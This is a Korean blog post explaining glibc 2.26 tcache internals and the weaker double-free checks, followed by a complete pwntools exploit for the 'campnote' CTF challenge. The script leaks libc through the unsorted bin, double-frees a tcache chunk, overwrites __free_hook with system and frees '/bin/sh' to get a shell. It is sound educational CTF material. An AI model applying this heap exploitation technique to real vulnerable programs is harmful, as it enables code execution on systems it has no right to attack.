티스토리 뷰
Ubuntu 17.04 ( glibc 2.26 ) 부터 heap영역 할당/해제 처리속도를 늘리기위해 tcache(per_tread cache)를 사용한다.
그에 따라 변경된 점은 0x10 ~ 0x400이 할당/해제될땐 fastbin, unsorted bin이 아닌 tcache bin에 들어간다.
tcache bin은 libc에서 관리하는것이 아닌 'tcache_perthread_struct'에서 관리된다.
또한 double free bug를 포함한 여러 오류검증 코드가 빠져있기에 exploit이 쉬워진다.
ex)
glibc 2.25이하에서는 dfb를 우회하기 위해 a - b - a순으로 free를 해주었다면
tcache환경에서는 a - a순으로 free를 하면 double free가 완성된다.
tcache bin이 size별로 가질 수 있는 bin의 갯수는 7개이다.
즉 malloc - free를 동일한 크기로 8번 하면 7개는 tcache bin에들어가고 마지막 chunk는
해당 size에 맞는 일반 bin에 들어가게된다.
*0x410 크기(또는 그이상)로 할당해제하면 tcache bin이 아닌 unsorted bin에 들어가기에 libc leak을 할 수 있다.
tcache exploit이해를 위해서 hacking camp 20th에 나왔던 campnote문제를 tcache 환경에서 풀어봤다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
from pwn import *
#context.log_level = 'debug'
p = process('./campnote')
e = ELF('./campnote')
l = e.libc
def alloc(size, data):
p.recvuntil('>>')
p.send('1')
p.recvuntil('>> ')
p.send(str(size))
p.recvuntil('>> ')
p.send(data)
def free(idx):
p.recvuntil(">>")
p.send('2')
p.recvuntil('>> ')
p.send(str(idx))
def view(idx):
p.recvuntil(">>")
p.send("3")
p.recvuntil(">> ")
p.send(str(idx))
alloc(0x410, 'a') # 0 // unsorted bin
alloc(0x80, 'a') # 1 // tcache bin
free(0)
view(0)
libc = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 88 - 0x18 - l.sym['__malloc_hook']
one_shot = libc + 0xf1147
alloc(0x410, 'a') # 2 // realloc
alloc(0x80, 'a') # 3 // target
alloc(0x80, 'a') # 4
free(3)
free(3)
alloc(0x80, p64(libc+l.sym['__free_hook'])) # 5 // target
alloc(0x80, p64(libc + l.sym['system'])) # 6 // dummy
alloc(0x80, p64(libc + l.sym['system'])) # 7 // overwrite target
# free() == system()
alloc(0x80, '/bin/sh\x00') # 8
free(8)
p.interactive()
|
기초중에 기초지만 매우 재밌다.
댓글